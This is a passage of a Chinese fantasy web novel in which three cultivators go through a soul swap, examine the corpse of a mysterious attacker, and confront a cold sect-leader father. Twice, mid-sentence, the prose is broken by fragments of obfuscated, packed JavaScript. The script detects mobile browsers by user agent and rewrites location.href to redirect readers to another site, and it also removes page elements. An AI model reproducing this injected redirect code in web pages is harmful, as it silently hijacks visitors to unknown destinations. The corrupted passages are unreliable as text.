难得有如此暖心的时刻,言隐却好像突然清醒过来似的,一个激灵,立马将身板挺得比萧唤月更直。 现在他比萧唤月高了,豪气地拍了拍自己的肩膀,意思是让萧唤月靠上来。 萧唤月不买账地翻了个白眼,背过身去夯了夯干草堆:“好了,夜谈时间结束,我要睡觉了。” “......哦。”言隐露出有些遗憾的表情。 明明萧唤月对他的好感度已经很高了,有85呢。 如果能再更亲近一点就好了。 如果能再更亲近一点...... 盯着萧唤月的后脑勺,言隐一点困意也无。 一只小鸟扑棱着翅膀飞过,无声无息落在言隐身边,用爪子在他手背上不轻不重地挠了一下,似乎是想让他注意到自己,但并没有发出鸣叫。 见小鸟脚上绑着东西,言隐精神一振,扯着嗓子呼唤萧唤月:“阿月!阿月!阿月!” 萧唤月坐起来,眼神不善地看着他:“干什么。” 她并没有真正睡着,言隐叫得这么大声,她早听见了。 “花梁燕给我回信了。” 萧唤月刚想凑过去,又迟疑道:“我方便看么。” “有什么不方便。”言隐走过去,一屁股坐在她身边,展开信纸。 萧唤月借着火光看完了这几行字。果然是监正的风格,能一句话说完的事绝不用两句话。 信中,花梁燕言简意赅道,她第一次见到那种羽冠花纹样式是在她师父的发簪上,离开师父后她采用了同样的暗器簪纹,以做纪念。 花梁燕并不清楚师父的情史,也不清楚师父跟“怜儿”之间有什么关系,但回想起来,师父似乎常对着发簪发呆,流露出怀念与幽怨参半的神色。 关于师父的更多信息,花梁燕没有在信中展开说明。她声称师父的身份不宜广而告之,名字也不便透露,总之不叫怜儿。 花梁燕表示自己会向师父写信询问情况,如果言隐愿意,可将那枚玉簪借她一用,她会把簪子连同信件一同寄出,若师父就是那位“怜儿”,想必见到玉簪就能明白一切。 言隐:“搞这么神秘,我感觉她师父是怜儿的可能性很大啊。” 萧唤月:“的确。她不是说......她师父经常盯着发簪出神吗?哎,多的我也看不出来了。” 人家谈恋爱的时候她还没出生,哪能知道更多。 上一辈的事已经过去了那么久,就算花梁燕的师父真的是怜儿,事情也不会发生什么改变,顶多是留下个纪念物,闲来无事时可以抚摸着玉簪缅怀一下当年逝去的爱情。 两人对视一眼,意见达成了一致。 “不过,真这么爽快就送出去?”萧唤月怕他后悔,试图做最后的确认。 “大不了事后再找花梁燕要回来。这只簪子在我这儿留得够久了,好不容易有脱手的机会我怎能放过。” 言隐将玉簪包在方巾里,绑在了小鸟的腿上。这只鸟体型太小,他有点怀疑它能否担此重任,但小鸟稳稳当当地起飞了,腿上的东西并没有影响到它的飞行平衡。 解决完一桩心事,言隐十分满意。 接下来的路程中没有出现什么危险,两人还算顺利地来到了苦心谷附近。 山道上的雾气浓得能拧出水来,萧唤月握着剑柄的指节发白。剑身微微振动,昭示着前方瘴气中或许有蛰伏的凶险。 “当心脚下。”言隐突然抓住她的手腕,剑鞘挑开一丛暗紫色的藤蔓。那些藤条在被触碰的瞬间骤然收缩,露出底下森森白骨。 大都是失足跌落至此的过路人,尸骨腐败至此,早已辨不出身份。 此处地势险要,饶是修仙之人也需多加小心。萧唤月小心地绕过骨堆,轻巧一跃,落在一处相对平坦的石台上。 前方雾气突然翻涌如沸。银色鹤氅破开浓雾,少年腰间的铃在死寂中发出清越鸣响。萧唤月瞳孔微缩——雾中显现的那张脸不算陌生,跟她很有几分相似。 “又见面了。”白曜的目光掠过她紧握剑柄的手指,语调无波无澜。 言隐的剑悄然出鞘三寸:“少主亲自来接应?” 按照长老们的安排,当言隐和萧唤月到达苦心谷时,会有人前来接引,助他们加固镜妖封印。 只是没想到这个人会是白曜。 按理来说,有萧唤月这个任务人在,白曜应该避嫌才对——里云宫的人不会想让白曜和萧唤月有过多接触。 “我知道你在怀疑什么,但,的确是我。”白曜长臂一伸,蓄风枪在手中显了形。这等品阶的法器难以造假,可以用作辨认身份时必要的标志物。 “里云宫的肚量还没有小到那种地步。于封印一途,里云宫最是精通,自然不会坐视不管。我嘛,主动请缨,前来相助,又有什么不对。”白曜说得头头是道。 萧唤月胡乱点了点头:“既然如此,便抓紧入谷吧。相聚在此自是以封印镜妖为首任,多余的事没必要说了。” 她率先拿出公事公办的态度,抬脚往前走。言隐和白曜对视一眼,都觉得没有客套的必要,早在波玉潭的时候他们就已经互相认识过,自我介绍可以免了。 两人一前一后地跟上萧唤月。 “你们来的不是时候,之前苦心谷的瘴气没有这么浓。”白曜提醒,“这段时间有此异象,恐是妖魔作怪。” 萧唤月:“那大家都小心点,不要走散。” 关着镜妖的檀木盒此前已被萧唤月交由言隐保管。他有种被付以重任的紧张感,神情都比平常显得严肃了几分。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14995323|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 途中萧唤月斩杀了几只小妖,它们攀附在藤蔓间或隐藏在雾气中试图偷袭,然而以萧唤月如今的修为,这种程度的攻击已无需畏惧。 作乱的小妖只是开胃菜,越往里走,萧唤月越能感受到空气中沉坠的潮湿,压得她心口沉甸甸。里头不知有什么大货等着她,萧唤月警惕地观察着前方。 意外比她想象中来得更快。 一根干枯的树枝在她脚下发出不祥的断裂声。几乎是同时,掩藏在碎石枯叶中的法阵被激活,一股突如其来的重压让她站不稳脚,踉跄着后退。 瘴气在瞬间化作实体。墨色雾气凝结成无数鬼手,言隐的剑气刚斩碎三只,更多利爪已攀上萧唤月的裙裾。 白曜腰间系着的银铃陡然爆出刺目白光,原来那并不是装饰品,而是一件护体法器。不过品阶似乎不太高,下一刻银铃就沿着裂纹碎成三瓣,再派不上用场。 白曜神色一凛:“这法阵不简单!” “小心!”言隐的声音仿佛隔着水幕传来。 萧唤月刚要掐诀,脚下青石突然塌陷。失重感袭来的刹那,有人死死扣住了她的手腕。血腥气混着白曜身上冷冽的檀香扑面而来,她听见自己颈间玉坠与对方玉佩相撞的清音。 底下是一处按照的空洞,落地时的剧痛让萧唤月眼前发黑。等视野恢复时,她看到满地朱砂绘制的符咒正在渗血。白曜的鹤氅铺展在她身下,那些血色液体像活物般顺着银线刺绣爬上来。 有白曜当肉垫,萧唤月并没有受什么伤,正要挣扎着爬起来,言隐的声音从上方传来:“别动!” 他手中不知何时掏出的罗盘指针正在疯狂旋转,“这是噬魂阵,但阵纹被改写过......” 噬魂阵,阵如其名,是一种可以吞噬入阵者灵魂的缺德阵法。但其效用的上限取决于布阵者的能力,人心不足蛇吞象,若执着于吞噬比自己强大的对手,布阵者亦有被反噬的风险。 或许正是出于这等顾虑,布阵者对法阵做了改良,入阵之人的灵魂不会被吞噬,只会被暂时抽离。 方才萧唤月感受到的那股失重感,其实是灵魂在体内动荡的征兆。 言隐也有与她相似的感受,魂魄轻飘飘的似乎马上就要脱离躯壳,然而很快就重新归了位。这副身体是他亲自捏出来的,只能容纳他一人的魂魄。肉魂合一时,就好像钥匙插进锁孔一样自然。 回过神来的时候他看到萧唤月和白曜已经双双掉进坑洞,白曜不知生死地趴在地上,正巧做了萧唤月坠地时的肉垫。 言隐赶紧提醒萧唤月不要乱动,免得又触碰到什么禁制。“我先去将阵眼破坏掉。” 萧唤月果真不再动弹,在这方面她向来是很听劝的。 “好。” 然而言隐刚转身走出几步,萧唤月突然神情痛苦地扶住额头。阵法仍在起效,像地震的余波那样袭击了她。视野中言隐模糊的背影正在远去,而她无力出声呼唤。 下一刻视角陡然变幻,无数陌生记忆如利刃刺入脑海——大雪纷飞的里云宫,父亲握着结霜的剑,母亲遗憾的叹息......这些分明不是她的记忆! 像是迅速切换的幻灯片一般,眼前场景再度变化,萧唤月跪在祠堂,稚嫩的后背爬满戒鞭留下的血痕。 “你把妹妹藏到哪里去了?”孩童带着哭腔的质问穿透二十年光阴。 祠堂阴影里的男人声音冰冷:“想必是练功练得糊涂了,才臆想出这样一个妹妹来。言隐,如果你还没清醒,就再领十鞭。” 这些记忆并不连贯,按了倍速键似的,在萧唤月眼前闪了一遭。 随即她思绪回归,额头上传来的疼痛让她忍不住“嘶”了一声。 萧唤月坐起来,抬手想揉一揉额角,忽然发觉自己的手指似乎变得修长了些。 身下是坚硬的地面,她伸手摸索,摸到了从自己肩头垂落的鹤氅。 萧唤月意识到了哪里不对劲,慌张道:“白曜。” 话一出口她就愣住了——她嘴里吐出的居然是白曜的声音。 阵中狂风骤起。言隐的剑气劈在血色符咒上发出清脆的相击之声,他这才看清那些"朱砂"实则是凝固的血迹。 阵眼这一击所破,风声渐歇,血迹的颜色暗淡下去。 言隐有些不屑地想,看来布阵之人也没有多大的能耐。 50. 第 50 章 “什么情况......”白曜的声音从萧唤月体内传出时带着颤抖。他低头看着自己如今纤细的手指。 “......灵魂互换?”萧唤月给出了最合理的答案。 她与白曜拉开距离,打量着对面自己的脸,心中泛起古怪感。 这种狗血桥段居然发生在了自己身上,她暗暗把布阵之人家里祖宗十八代问候了个遍。 方才她窥探到了白曜的记忆碎片,不知道白曜有没有看到她的。 想到此处萧唤月有点紧张,怕自己的穿越者身份暴露。但转念一想,交换身体所看到的记忆碎片想必只是对方残留在躯壳中的念想般的存在,她在现代世界用的是另一具壳子,对应的记忆应该不会被白曜窥探到。 不过还是有点在意白曜看到了什么。 萧唤月犹犹豫豫地看向他,正考虑着要不要直接开口问,却见对方率先发言:“你小时候经常做噩梦?” 她一愣:“是......吧。”踏入修仙界已久,她都快忘了自己幼时曾噩梦缠身,每个午夜惊醒冷汗涔涔的时刻都是鬼怪觊觎她的存证,但那种痛苦经历着实没有怀念的必要。 她后知后觉地猜到白曜看到了什么,顿时歇了发问的心思,恹恹靠在青石块旁,不说话了。 言隐破完阵回来,一时没有察觉出现场异样的气氛,径直往白曜身边走去。后者顶着萧唤月的壳子,淡淡瞥了言隐一眼,出声警告:“不要靠近我。” “?” 另一边的萧唤月直起身,勉强打起精神,充当讲解员: “言隐你听我说,现在情况有点复杂,白曜变成了我,我变成了白曜。所以你身边那个其实是......” 话说得相当清楚,言隐听到一半就明白过来。惊讶之色一闪而过,他面朝着白曜,后退了几步。目光在这两兄妹之间打转。 活了这么多年,他见到的古怪玩意儿也不少,灵魂互换,算不得稀奇。 他花了几秒钟辨别萧唤月是不是在开玩笑。 很遗憾不是。 甚至不需要萧唤月说明,多看几眼就能看出,“萧唤月”的眼神姿态,表情动作,都与平常有很大不同。 白曜不乐意迎接这探究的目光,抱着臂侧过身去,流露出的抗拒之意很明显。 言隐心中忽然升起一股恶寒,觉得这件事情必须尽快解决。 三人讨论了一番,觉得会出现这种情况,大概是因为白曜和萧唤月之间,存有血缘层面的联系——眼下没工夫避嫌了,反正在场都是知情人士,干脆摊开来讲。 可惜白曜大概不知道“基因”的概念,否则萧唤月还能解释得更清楚些。 一母同胞的亲兄妹,基因相似度一定非常高。 当时他们的魂魄处于一种不太稳定的状态,甚至可能在他们没察觉到的时候已经进行过短暂的离体。由于他们的身体具有某种程度上的相似性,导致魂魄归位的时候......进错了壳子。 言隐提出解决方案:“这样的法阵我也能布——在噬魂阵的基础上,修改过的阵符我已经记下来了,你们再进阵一次,或许就能换回来。” 白曜:“可以,但是要找个安全的地方。这里太危险,最坏的情况,会有妖物趁我们魂魄离体时抢夺身体。” 言隐:“同意。” 白曜:“里云宫离这里很近,不到半日路程,全速御剑的话一个时辰即可。” 言隐:“所以?” 白曜:“你可以去那里布阵,附近不会有比里云宫更安全的地方了。” 言隐:“不行。” 白曜:“为什么?” 言隐没说话,看向萧唤月。后者挑了挑眉,似笑非笑:“其实我一直想问,白曜,你......宫主不介意你跟我接触么?” “他们现在管不着我。”白曜淡淡道,“孩子总有脱离父母怀抱的时候吧。” 萧唤月一怔。从之前看到的记忆碎片来看,白曜的确和他爹关系不好,翅膀硬了之后懒得再维持父慈子孝的假象,实属正常。 她判断那位宫主应该是位控制欲很强的父亲,而作为母亲角色的程夫人与丈夫的育儿观念高度一致。在白曜记忆里,母亲是个冷漠的看客。 “你现在用着我的身体,使不出十成十的功力,封印镜妖的事需得推后了。” “可是......”萧唤月有些犹豫。去里云宫的确是最优解,问题是她这个身份......登门做客不大合适吧。 白曜继续道:“你不想见到白江和程红玉我能理解,但只是去里云宫借用一下场地,未必能碰见他们。就算碰见了,他们也不会说什么,毕竟你现在代表丘山。” 听白曜这语气,在里云宫似乎颇有话语权,不过也有可能是单纯跟爹娘关系不好,才选择直呼姓名。 萧唤月垂眸思忖:其实白曜说得没错,就算碰面了又如何,他们无权插手她的事情。她有什么必要躲着白家人?如今她只是丘山的修士,公事公办而已。 她抬头看向白曜:“那,我们速去速回。” 言隐有点吃惊,压低了声音:“真去啊?感觉不是什么好地方。” 白曜:“我耳朵没聋。” 萧唤月:“没事。” 言隐:“哦。” 没好意思说,其实她还怀揣着一种“就算你们不要我,我也能过得很好”的微妙的报复心理,被里云宫抛弃于她而言未必是坏事——她收获了真正的父母之爱,那是萧吟山和云婉给她的。 她的家在十燕城,她的剑叫归燕,从里到外,她的身上都没有半点白家人的影子......除了这张形似白曜的脸。 她对自己的生活现状很满意,倒是白曜......说不定他才是更可怜的那一个。那些记忆里,他的童年生活似乎并不快乐。 去往里云宫的路上,三人都没什么话好说,想着得赶紧解决掉换魂的事,各个牟足了劲赶路。 言隐对于顶着白曜外表的萧唤月不自觉生出一股怜悯之心,但没法像往常一样与她进行勾肩搭背的亲密互动,那副场景光是想想就觉得很怪。 三人各怀心思,路上气氛凝重得好像死了人一样。 东极岸里云宫,坐落于云海翻涌的孤峰之上,三面环海,地势险要。 与玉胥宗不同,这里的氛围要肃穆许多,从萧唤月踏进来的那一刻起,就不自觉轻敛了呼吸。 练武场中,尽是长枪划破空气的呼啸声。白曜面不改色地经过,有些人关注到这张秀丽的脸,投去好奇的目光,但也没有上前询问。 倒是萧唤月一路上收获了不少问候语,弟子们将她当作了自家少主,言谈间恭敬有加。 绕过大殿与广场,顺着石阶一直往上走,便是弟子居所。萧唤月硬着头皮同路过的弟子们打招呼,一直走到尽头瀑布处,远离了那些依山而建的小楼阁,她才松了口气。 “其实你不必回应他们。”白曜看了她一眼,“装听不见,会更像我平常的作风。” “......你不早说。”萧唤月了然,“怪不得那些弟子看起来一副受宠若惊的模样,原来你以前不理他们。” “没有不理,只是懒得每个都回。” 萧唤月低声抱怨:“你们里云宫人太多了。” “再往前,人就少了。” “前面哪里还有路?” “跟着我。” 穿过瀑布,里头居然有个山洞,虽然窄小,却极深。摸黑走了半天,视野骤然变亮,萧唤月才恍然大悟,方才那不是山洞,而是条隐秘的暗道。 “这里是悟道崖,我偶尔会在这里修炼。”白曜站在崖边俯瞰大海,“不会有人来打扰我们,布阵吧。” 不得不说白曜确实很会找地方,此处视野开阔,灵气丰裕,最重要的是足够安静,崖壁上的古树冠与藤蔓是隔绝窥探视线的天然屏障。 唯一不爽的一点是穿过瀑布时被淋了身水,里衣都被浸湿了,有点难受。 这副身体萧唤月用得不熟练,默默念了几遍法诀试图烘干自己,都因灵力运转不畅而收效甚微。 言隐已经全神贯注地捣鼓起了他的改良版噬魂阵,力求百分百复刻阵纹,免得出什么差错。 萧唤月坐在崖边,想到待会儿灵魂出窍可能会坐不稳,又往里挪了几丈。 等了约莫一炷香的时间,言隐拍拍掌:“可以了,待我激活阵眼,这法阵便会起效,你们做好准备。” 阵眼设在崖壁高处,以此为起点,蜿蜒的阵纹向下而行,几乎铺满了空地。 萧唤月正襟危坐,示意自己准备好了。白曜也点点头:“开始吧。” 言隐催动内力,阵眼发出幽淡的光。几乎是同时,萧唤月的身子不稳地晃了一下,熟悉的失重感再度袭来,她的灵魂仿佛正在脱窍而出。 半是安心地闭上双眼,她等待自己的灵魂回归本体。忽然有人在她的肩膀上不轻不重地按了一下,衣料上的水分瞬间被蒸发,身上变得干燥又舒爽。 她诧异地睁眼回头,想看看是谁。言隐此时在阵眼旁边维持法阵的稳定,白曜坐在离她几臂远的身侧,这里怎么会有第四个人出现在她身后? 不回头不要紧,一回头才发现,竟然有一颗圆润的、被白布裹得严严实实的脑袋,近乎亲昵地靠在她后背处。 萧唤月被吓得一激灵——哪里来的怪人! 不止是脸,这怪人全身都被白布裹住,只留一双眼睛在外,俨然一具行动自如的木乃伊。他俯趴在地,上半身支起,姿势怪异,一只枯槁的手搭在萧唤月肩膀上,像落水之人攀住了救命的浮木。 看他脚尖的朝向......似乎是从山崖底下爬上来的! 萧唤月心中泛起一股难言的恐惧感,想要开口呼喊同伴,却无论如何也发不出声音来。她的魂魄正在体内动荡,无法再随心支配这具身体。 怪人接触到她的时机很巧妙,仿佛对这法阵十分了解,正好抓住了魂魄易位前的空档。 好在言隐敏锐地关注到了这边的异象,当即闪移到萧唤月身边,将那只手从她的肩膀上扯离。 萧唤月眼前的风景像卡帧的电影画面那样抖动了一下,她感到有些头晕,手指抚上鬓角揉了揉,耳坠在她的虎口处晃漾。 耳坠微凉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15034718|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的触感让她意识到,魂魄竟已经回到了自己原本的身体,就是在方才那一瞬间。 这次脑中没有再浮现出已有的记忆碎片,只有种从高空坠落后被稳稳接住的安心感。 魂魄离体状态下对时间的感知似乎有所减弱,于她而言只过去了几秒钟,现实中却不知已过去了多久。 她赶紧去瞧白曜那边的情况,不知道怪人被制服了没有。 然而一扭头,她有点傻眼。 崖边是断断续续的血迹,还有枫叶状的血手印,可以据此想象出一个受了重伤的人在地上艰难爬行的场面。 再一看,言隐和白曜都好端端在崖边待着,身上一点儿伤没有。 萧唤月看向言隐:“你把那木乃伊杀了?” 言隐两手一摊:“不是我。” 白曜:“他自己摔下去的,看起来是想自杀。可能是个疯子,别在意。” 萧唤月皱了皱眉:“我不觉得普通的疯子能找到这里来。” 白曜:“说的也是,要下去看看他的尸体吗?” 萧唤月探出头望了望,这个高度,如果直接掉下去,不用法术护身的话,肯定死得透透的了。 但那怪人显然是会法术的,不知出于何种心理,还帮忙烘干了她的衣服。想到此处她有点迷茫,那人究竟什么立场? “去看看吧。”她说。 费了一番工夫来到崖底,萧唤月看到灌木丛被砸得塌了下去,附近有溅射状的血迹。 怪人躺在丛中,裹身的白布几乎已经变成红色,手脚以不自然的角度弯曲着。 萧唤月骇然:真摔死了? 还没来得及搞清他的动机和身份呢。 “那么高的地方掉下来,居然没有摔成碎片。”言隐下了初步判断,“不会是普通人。” 他走过去,扯开尸体上覆面的白布。 出乎意料,白布之下并不是人类的面庞。脸颊处覆着深色的短毛,豹一样的耳朵立在脑袋两侧。 紧接着言隐割开了他肩胛处的布条,露出的居然不是皮肤,而是血肉模糊的鳞片。 “这个人......”言隐目光犹疑地望向萧唤月,“是不是袭击过你?在凤泉镇的时候。” 那具骇人的尸体像压扁的红色面团一样摊在灌木丛里,散发出古怪的气味。萧唤月本不愿细看,但言隐的话让她心中升起疑惑与不安,凑过去观察了会儿。 “......兽化特征比上次见面时还要明显。”萧唤月的指尖触及鳞片,沾了血。她轻飘飘地站起来,擦了擦手,“是他。” 言隐:“我瞧着也是。他肩上有处旧伤,应该是当初你刺的。” 白曜:“谁?” “我以为你知道。”言隐不满地看了白曜一眼,“上次萧唤月遇袭,她已向宗门说明了情况,之后长老回信说你们里云宫在调查。这么久没查出个结果,看来是根本没上心了。” “他曾经自称是里云宫的人,顶着‘东生’这个名字待在我身边很长一段时间。”萧唤月似乎不太在意里云宫的不作为,指了指那具尸体,向白曜简要解释了一下他的身份。 尸体的表情还算平静,五官却已不成人形。 不过东生在萧唤月面前从没摘下过面巾,就算此刻全须全尾地将一张好脸露出来,她也未必认得出。 萧唤月只能通过其它细节去辨认他的身份。如果上次他没有使用那一招钻地逃跑的法子,说不定她还没法那么快地认出他。 怪人。这次又跑到她身边来,究竟想干什么? 爬上山来给她烘了个衣服就跳崖了?莫名其妙。 她还有好多事情没来得及问......虽然问了他也不会说。 “哦,他啊。”白曜好似终于反应过来,“长成这样,不人不鬼的,我还以为是妖怪。” 言隐:“很明显是修了邪功,或者吞噬过不少妖丹,才会变成这副模样。 白曜:“自己走了歧途,怪不得别人。他曾经袭击过萧唤月,又与里云宫有所牵扯,不如就将他的尸体留在这里,我们会派人继续调查。” 言隐不屑道:“这话听起来不可靠,你们很久之前就说在调查了。” “之前未经我手。” “但你早就知情,不也是没管么,这次怎么突然想管了。” 白曜不耐烦道:“你不乐意?” 言隐:“尸体给我,我自己查。” “你们要带着一具尸体上路?” “装进乾坤袋里就行了,不费劲。” 萧唤月默默听着两人的对话。 她对东生几乎一无所知,涉及二十年前的往事,里云宫肯定比她知道得多,但她不信任里云宫。 这点倒是与言隐不谋而合了——在她看来,主动权还是掌握在自己这方比较好,尸体可谓是重要线索,不能这样就这样随意丢给别人。 “......尸体还是交给我们吧。”她神色认真地看着白曜,“关于东生,如果有新的发现,我亦会告知里云宫的。” 白曜冷笑了一声,似乎觉得自己好心作了驴肝肺:“算我多管闲事,随你们。” 51. 第 51 章 事情进行到这里还算顺利,按照计划他们应该返回苦心谷,封印镜妖。 萧唤月紧绷的神经也微微松懈下来,虽然一路上她没说什么,但待在里云宫还是稍微有些不自在。 并没有见到白江和程红玉,大概是因为夫妻俩事务繁忙,不会经常现于人前。 绕过那几座燃着道火的青铜鼎,便能看到下山的栈道。 “我们抓紧......”萧唤月话还没说完,忽然听到有脚步声正朝这边接近。 她敏锐地住了嘴,凝神去听身后的动静。修仙之人体内清气多而浊气少,步伐之间如风过隙,更有甚者,可达“足不沾尘”的境界。 这般刻意而厚重的脚步声,像是身后之人有心要向他们昭示自己的接近。 “逆子。”一个沉稳的声音响起,“你还知道回来。” 萧唤月心下一惊,转过身去。 发声的是个蓄着短须的年轻男人,眉眼间略有疲态,身着一身华服,双手拢在袖里。他的目光并没有放在萧唤月身上,而是阴沉沉地盯着白曜。 身为修仙之人,外貌与实际年龄通常不匹配。但瞧男人这稍显老成的姿态,年纪应该已经不小了。 男人又重复了一遍:“你还知道回来。” 听起来像无奈的老爹在管教久不归家的儿子,语气中满是严厉,却又隐含关心。 萧唤月当即对男人的身份有了猜测,往后一躲,让言隐站在她前面。言隐挺直了背,顺势将她挡住。 白曜:“别急,我这就走了。” 白江呵止道:“又到哪里去!宫里的事你不管,天南地北的跑......” “去苦心谷封印镜妖啊。早就接下的差事,你忘了?” 白江一滞,他还真忘了。 玉胥宗确实向里云宫借过人,但这种事情白江一般都交给手下人处理,给镜妖加固封印这种小事,用不着他亲自出手。 本以为派个内门弟子去撑撑场面就行了,没想到白曜居然要主动揽下这事。 他不让白曜揽活,白曜便耍起少主威风,不肯让门下弟子接令,意思是他不去,谁也别去。眼看事情要陷入僵局,白江只得睁一只眼闭一只眼,随儿子去了。 玉胥宗修士到达苦心谷之前,信鸽会向里云宫送来消息,不知是不是被白曜拦截了,白江竟半点不知情,以为玉胥宗的人还在路上。 看着一脸淡然的儿子,白江顿时感到头疼。 他能感觉到白曜正日渐脱离自己的掌控,有时会故意跟他反着干,不像当年还是个小团子的时候,可以随意拿捏。 果然还是女儿会更好一点么?白江暗自叹息,女儿家可能会更听话一些,可惜当年留下的是儿子。 仙门中人纵使长命,寿亦有尽时。后浪推前浪,年轻一代总会有成长起来的时候,白江清楚自己需要为里云宫挑选一个拟定的接班人,可无论交给谁,他都不能真正放心。 他希望自己选定的接班人能完全按照他的准则行事,但又不能过于没主见。 这种矛盾心理让他在针对儿子的教育过程中出了些差错......可能也有白曜自己的原因。总之,拟定的接班人没能变成白宫主的提线木偶,反倒被激起了逆反心理,翅膀一硬,开始对爹娘横眉竖眼了。 白曜:“还有什么要吩咐的吗?没有我走了,人家还等着呢。” 白江:“你什么态度!” “我态度怎么。”白曜瞥了眼萧唤月,“倒是你在这大喊大叫,让玉胥宗的修士们看了笑话。” 顺着儿子的目光,白江终于注意到萧唤月。他的态度一缓,变得和蔼可亲起来:“小友们无需拘束,一点家事纷争,不会影响你们接下来的事务。要吃口茶再走吗?吃完茶,我另派两个人,与你们同去。” 白曜:“差不多得了。” 言隐难得与白曜统一了口径:“的确不需要再派人,我们几个就足够。” 白江端详着萧唤月,一脸遗憾:“当真不再多坐一会儿吗?我瞧这位小友有几分面善......” “不止是面善这么简单吧,”白曜嗤笑,“亲女儿,认不出来了?没发现她和我长得很像么。” 白曜这句话起到了一个平地惊雷的效果,在场众人的表情都很精彩,谁也没料到他就这样把窗户纸直接捅破,堪称粗暴。 尤其白江,脸都快涨成猪肝色。 玉胥宗那么多人,怎么偏偏来的就是萧唤月...... 白江不是没想过这种可能性,方才那话也是有试探的意思,不过大家都是体面人,没有父女缘,就当彼此是过路人,说几句客套话总是可以的。 面对着这个曾经是自己女儿的小姑娘,白江不觉得愧疚,只感到淡淡的尴尬。 当年送走她事出有因,非他本意,况且他已经为她安排好了后路,要送她去玉胥宗修行的。要怨就怨她自己命不好,半路被拐子劫去了凡界。 不过,纵使被耽误了十多年,现在不也回归修仙之道了么。萧唤月现在似乎日子过得不错,白江思索来思索去,不觉得自己欠了她。 在他看来,要不是有自己这层关系在,玉胥宗的人未必会收下萧唤月。 如此看来,她还该感谢他才是。 只是有点可惜——他当初为了那则预言,执意要断掉两兄妹的关系,送走其中一个。现在看来,当真有必要么? 给出预言的那位命师,后来不知跑到哪里去了,白江几度前去拜访,都扑了个空。 他心道那等德高望重的人士不至于专门编个预言来戏弄自己一家,可心底的怀疑与日俱增,膨胀到了不可忽视的地步。 奈何多年来命师始终下落不明,白江寻其对峙无果,只得咽下这个哑巴亏。 他安慰自己:白曜虽然叛逆不定,好歹算是个有能力的,养一养还能将就用。 “反正留在这儿也没话可说,我们走了。”白曜打破沉默。 这回白江没理由再劝阻,目光匆匆从萧唤月脸上扫过,没敢停留。 他面朝白曜,囫囵点头道:“去吧,早点办完事,别再到处跑了,回里云宫多待些日子,你娘很想你。” 白曜发出一声不知是嘲讽还是善意的轻笑。 言隐:“......走不走啊到底,你们父子俩要叙旧的话,我和萧唤月就先行一步了。” 看着这个出言不逊的年轻人,白江皱起眉头:年轻一辈中还有这么不知礼数的存在? 萧唤月就罢了,他算什么东西? 心中不满,白江面上却还维持着笑:“莫急莫急,赶时间的话,这就走罢。这位小友看上去颇有能耐,想必无需我们白家人的帮助,凭一己之力也能封印镜妖。” 听出白江是在阴阳怪气,言隐抬了抬眉,表情嚣张:“我还真可以。” 这句话让白江友善的假面终于裂开一条缝,他脸上浮现出几分怒气:“人外有人,山外有人。就算小友少年意气,自比天高,也还是要有点自知之明的好。” 别的不敢说,在封印之术的领域,白家称第二,就没人敢称第一。 “别刺来刺去了,正事要紧。”第一个站出来劝架的居然是白曜,他一边说一边往前走,衣袖下的手指一勾,示意萧唤月和言隐跟上。 无意继续与白江纠缠下去,萧唤月扯了扯言隐的袖子,踮脚在他耳边道:“别跟老家伙计较了,这里不是我们地盘,起冲突没好处。” 白江面皮一抽:两人居然就这么当着面说他坏话,象征性地低语一下,声音却还是传进他耳朵里。当他聋了吗?如此放肆。 女儿这些年究竟是被什么人养大的?必是在世俗界沁浸多年,染了凡人的坏习惯,才如此没教养。 还有这个毛头小子......面生得很,做派不像是仙门弟子,更不似世家才俊。吊儿郎当的,像是混迹人间,不懂尊师重道的散修。 “白宫主,告辞。”萧唤月吐出几个字,算是做了简单的道别,然后果断转身后撤,拉着言隐一溜烟跑了。 萧唤月三步并作两步跨上了栈道,一路向山下猛冲。 身后言隐还在忿忿道:“你发现没有,他好像很看不起我们,虽然装得很友善。” “发现了。” “让我回去,我要给他一点教训。” “别在意,我父亲不是单单看不起你们,很多人他都看不起。”白曜幽灵一般随行在萧唤月身侧,声音被风扯得飘缈起来,“跟老顽固别太计较,他们的世界就那么一丁点大。” 言隐奇道:“你似乎对他很不满。” “只是实话实说。” “他对你不是挺关心的么。” “从哪里看出来的?” “让你回去住,说你娘想你什么的......”言隐拉长了尾调,语气微妙。 “只是不满我脱离掌控而已。”白曜想到了什么,自嘲似的笑了笑,“他还说过,如果留下的是女儿会更好。” “什么意思。”言隐这回是真迷惑了。 “觉得女儿会更听话。” “未必吧。”萧唤月终于开口发言,“如果留下来的是我......说不定会直接离家出走。” 言隐和白曜同时扭头看她。 很神奇的画面,她居然接上白曜的话,一本正经探讨起了命运的另一种可能性,既没有逃避话题,也没有表现出多大的情绪波动,只是下意识反驳了这种说法。 白江真是打错算盘了,儿子不听话,他就幻想出一个乖巧的女儿来。女儿又不是傻子,萧唤月感到好笑。 白曜收回目光:“离家出走......的确是你的作风。” 言隐用手肘顶了顶白曜,追问道:“没想到你老爹竟说过这种话,他经常提起萧唤月吗?” “不,他对当年的事讳莫如深,从不轻易提及。这话是我偷听来的,当时他正在和我娘抱怨我不听话。” 在悟道崖,换进这具身体里时,白曜看到了关于这段记忆的影像。看来是让人记忆很深刻的片段呢,这么多年了,还没有忘掉。 回苦心谷的路上,氛围比来时要轻松许多。 萧唤月脸上苦大仇深的表情消失不见,心想果然还是自己身体用着舒坦。 